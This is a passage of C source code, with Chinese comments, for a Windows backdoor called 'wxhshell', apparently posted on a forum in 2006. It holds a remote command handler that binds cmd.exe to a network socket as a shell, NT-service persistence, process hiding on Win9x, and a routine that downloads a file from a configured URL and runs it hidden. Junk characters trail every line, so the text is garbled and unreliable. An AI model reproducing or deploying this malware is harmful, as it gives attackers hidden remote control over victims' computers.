  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bN4d:0Y  
  } p1uN ]T7>  
  else { SZI7M"gf/+  
eAU"fu6d  
    switch(cmd[0]) { "j +v,js  
  hF9B?@n?B  
  // 帮助 ] :GfOgo  
  case '?': { (S3jZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <f[9ju  
    break; *+&z|Pwv[^  
  } \4C)~T:*  
  // 安装 6WCmp,*  
  case 'i': { 8\P JSr  
    if(Install()) \S'cW B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T?Z OHH8  
    else .M}06,-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # e$\~cPd  
    break; Y]?Kqc  
    } ]C+eJ0"A  
  // 卸载 [3GKPX:OA/  
  case 'r': { .!!79 6hS  
    if(Uninstall()) q^u6f?B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -.^@9 a>  
    else W6h NJb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _dz +2au  
    break;  KhLg*EL  
    } rrW! X q  
  // 显示 wxhshell 所在路径 @ 8A{ 9i  
  case 'p': { `x5ll;"J  
    char svExeFile[MAX_PATH]; x0y% \  
    strcpy(svExeFile,"\n\r"); IQ o]9Lx  
      strcat(svExeFile,ExeFile); s_x=^S3~LO  
        send(wsh,svExeFile,strlen(svExeFile),0); Cb+P7[X-  
    break; 1 VPg`+o  
    } b;SFI^  
  // 重启 YL; SxLY  
  case 'b': { ,ZLG7e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /IrKpmbq  
    if(Boot(REBOOT)) @+[Y0_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3AX?B~s  
    else { N+ak[axN  
    closesocket(wsh); $z~jnc  
    ExitThread(0); M|$H+e } :  
    } Y}85J:q]  
    break; W^-hMT]uD  
    } hQ\#Fhu7  
  // 关机 -Mit$mFn  
  case 'd': { r[Zg 2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {\ A_%  
    if(Boot(SHUTDOWN)) ^[k6]1h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K'>P!R:El  
    else { 7 3H@kf  
    closesocket(wsh); dO Y lI`4  
    ExitThread(0); E!r4AjaC  
    } ddGkk@CA  
    break; O8!!UA8V  
    } l#mqV@?A~  
  // 获取shell JDIz28Ww  
  case 's': { VGq{y{(  
    CmdShell(wsh); zS&7[:IRs'  
    closesocket(wsh); =>E44v  
    ExitThread(0); 2 rbX8Y  
    break; OJh+[bf"  
  } w@<<zItSo  
  // 退出 {"qW~S90YO  
  case 'x': { V3aY]#Su  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B3ohHxHu  
    CloseIt(wsh); (!^N~ =e;  
    break; (gs`=H*d;  
    } \JF57t}Zk  
  // 离开 i4 y(H  
  case 'q': { Lh8# I&x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); THegPD67J  
    closesocket(wsh); s?1-$|*  
    WSACleanup(); iPRJA{$b_  
    exit(1); ]9!Gg  
    break; G <}7vF  
        } PW(_yB;  
  } ?S;et2f  
  } ~:'gvR;x  
J tn&o"C  
  // 提示信息 o(S^1j5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > 2!^ dT^D  
} 3|z;K,`Fw  
  } XFLjVrX[  
:Kt{t46)  
  return; *J*zml3  
} ;h*"E(P p  
)o}=z\M-bN  
// shell模块句柄 1tuator  
int CmdShell(SOCKET sock) \`p|,j  
{ 2/a04qA#  
STARTUPINFO si; 72B zvY.  
ZeroMemory(&si,sizeof(si)); VH$\ a~|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^@l5u=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i&AXPq>`  
PROCESS_INFORMATION ProcessInfo; $)WH^Ir~  
char cmdline[]="cmd"; r&LCoe'\{i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EHE6 -^F  
  return 0; =qVAvo'  
} )aO!cQ{s  
Jf8'N ot  
// 自身启动模式 =#PudF.\  
int StartFromService(void) +eH=;8  
{ -qr:c9\px  
typedef struct P89Dg/P  
{ +LU).  
  DWORD ExitStatus; rkER`  
  DWORD PebBaseAddress; +q>C}9s3  
  DWORD AffinityMask; ))we\I__8  
  DWORD BasePriority; *jqPKK/  
  ULONG UniqueProcessId; LO Yyj?^7  
  ULONG InheritedFromUniqueProcessId; p%i .(A  
}   PROCESS_BASIC_INFORMATION; 55)ep  
v6, o/3Ex  
PROCNTQSIP NtQueryInformationProcess; qoyGs}/I8  
9Y*VzQE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <=LsloI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iJ~iJ'vf  
gJ}'O4*b  
  HANDLE             hProcess; H#d! `  
  PROCESS_BASIC_INFORMATION pbi; \H'CFAuF  
Ts?>"@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r+WPQ`Ar  
  if(NULL == hInst ) return 0; 5la]l  
:/?R9JVI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d+wNGN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %#;(]7Zq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iH -x  
(Su2 \x  
  if (!NtQueryInformationProcess) return 0; 9\;/-0P  
"{1}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gB'Ah-@,P  
  if(!hProcess) return 0; d3q/mg5a  
?. 'oxW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b J5z??  
ry<}DK<u  
  CloseHandle(hProcess); 'jO-e^qT  
%EhU!K#[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;`Ch2b1+  
if(hProcess==NULL) return 0; x>/@Z6Wxz  
DT~y^h  
HMODULE hMod; 2nz'/G  
char procName[255]; o\Vt $  
unsigned long cbNeeded; oXOO 10  
/3HWP`<x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (~yJce  
9MlfZsby  
  CloseHandle(hProcess); aLo>Yi  
WYd,tGz  
if(strstr(procName,"services")) return 1; // 以服务启动 W}i$f -K  
m&vYZ3vK[  
  return 0; // 注册表启动 mI*>7?  
} vxfh1B&  
<'yC:HeAwD  
// 主模块 LfSU Y  
int StartWxhshell(LPSTR lpCmdLine) KQI} 5  
{ .0/Z'.c 8  
  SOCKET wsl; * =N 6_  
BOOL val=TRUE; 5 /VB'N#7s  
  int port=0; ~2qG" 1[\  
  struct sockaddr_in door; /hy!8c7  
dD2e"OIX  
  if(wscfg.ws_autoins) Install(); dK`O,[}  
?26[%%  
port=atoi(lpCmdLine); 3cQmxp2*  
EJ|ZZYke!  
if(port<=0) port=wscfg.ws_port; *y@]zNPD  
4o8HEq!  
  WSADATA data; 8*){*'bf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1;9E*=  
s+t eYL#Zi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QU;C*}0Zl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <%5uzlp  
  door.sin_family = AF_INET; ~}l,H:jk@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +004 2Yi  
  door.sin_port = htons(port); Q&\ksM  
I>zn$d*0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 25KZe s)  
closesocket(wsl); fxa^SV   
return 1; a{6|[a R  
} +Uk.|@b=-V  
tH!z7VZ  
  if(listen(wsl,2) == INVALID_SOCKET) { `215Llzk;  
closesocket(wsl); OH~qJ <  
return 1; Nd)o1 {I  
} 0Jif.<  
  Wxhshell(wsl); 2}#PDh n  
  WSACleanup(); sbIhg/:ok  
eT?LMBn\  
return 0; q+Q)IVaU81  
Q:=/d$*xd  
} 40ZB;j$l  
7 {<lH%Tn  
// 以NT服务方式启动 |U0@(H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Nr7N#g+u  
{ 6U]7V  
DWORD   status = 0; V&85<Y%Nl|  
  DWORD   specificError = 0xfffffff; ],4LvIPD  
Wn5]2D\vkT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~:Nyv+g,$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XCoOs<O:@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ay.IKBXc  
  serviceStatus.dwWin32ExitCode     = 0; E$ rSrT(  
  serviceStatus.dwServiceSpecificExitCode = 0; 06 1=pV$CJ  
  serviceStatus.dwCheckPoint       = 0; omu&:) g  
  serviceStatus.dwWaitHint       = 0; o~ed0>D-LS  
"f+2_8%s+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \x}UjHYIc&  
  if (hServiceStatusHandle==0) return; GC2<K  
QJ?!_2Ax  
status = GetLastError(); st>t~a|T  
  if (status!=NO_ERROR) =uTV\)  
{ J>Ha$1}u/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x.Y,]wis  
    serviceStatus.dwCheckPoint       = 0; !8].Z"5J  
    serviceStatus.dwWaitHint       = 0;  =%`"  
    serviceStatus.dwWin32ExitCode     = status; zKr(Gt8  
    serviceStatus.dwServiceSpecificExitCode = specificError; [x,&Gwa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K<(R Vh  
    return; }vIm C [  
  } .}wir,  
!NtY4O/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y'9deX+  
  serviceStatus.dwCheckPoint       = 0; \8ZNXCP  
  serviceStatus.dwWaitHint       = 0; n66 _#X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =G :H)i  
} v;7u"9t  
<}%*4mv  
// 处理NT服务事件,比如:启动、停止 5**xU+&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xl$ Qw'  
{ u1l#k60  
switch(fdwControl) 3-5lO#&#  
{ EQ -\tWY  
case SERVICE_CONTROL_STOP: I5,Fh>  
  serviceStatus.dwWin32ExitCode = 0; 3IIlAzne;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z7o5 9&  
  serviceStatus.dwCheckPoint   = 0; 7_,X9^z  
  serviceStatus.dwWaitHint     = 0; crQuoOl7  
  { eNX-2S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hv6>3gbr  
  } =v-D}eJQ=  
  return; q6dq@   
case SERVICE_CONTROL_PAUSE: S6 *dp68  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .67W\p  
  break; "]<Ut{Xb  
case SERVICE_CONTROL_CONTINUE: .xx9tP}Xy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @B6[RZR  
  break; [sBD|P;M  
case SERVICE_CONTROL_INTERROGATE: _=b[b]Ec$s  
  break; w# ['{GL  
}; Y9N:%[ :>W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ak zb<aT  
} ]3G2mY;`"%  
t@\0$V \X  
// 标准应用程序主函数 p5\b&~ g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tx.sUu6  
{ apXq$wWq{D  
'Tn$lh  
// 获取操作系统版本 -c tZ9+LL  
OsIsNt=GetOsVer(); be_t;p`3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'JydaF~>  
!VW#hc \A5  
  // 从命令行安装 ?`xId;}J#7  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ty m!7H2  
: SNp"|  
  // 下载执行文件 w[iQndu  
if(wscfg.ws_downexe) { WG,{:|!E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IaB A2  
  WinExec(wscfg.ws_filenam,SW_HIDE); \)bwdNWI  
} #oaX<,  
7K~=QEc  
if(!OsIsNt) { SFHa(JOS  
// 如果时win9x,隐藏进程并且设置为注册表启动 [M.Vu  
HideProc(); > 01k u  
StartWxhshell(lpCmdLine); I/adzLQ  
} J GdVSjNC  
else d 9|u~3  
  if(StartFromService()) PF~&!~S>W  
  // 以服务方式启动 pVr,WTr6E  
  StartServiceCtrlDispatcher(DispatchTable); fqi5 84  
else :Vg,[\I{  
  // 普通方式启动 +J2=\YO  
  StartWxhshell(lpCmdLine); I?=Q *og  
@S{,g;8  
return 0; }.#C9<"}  
}
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只看该作者 1 发表于: 2006-10-10
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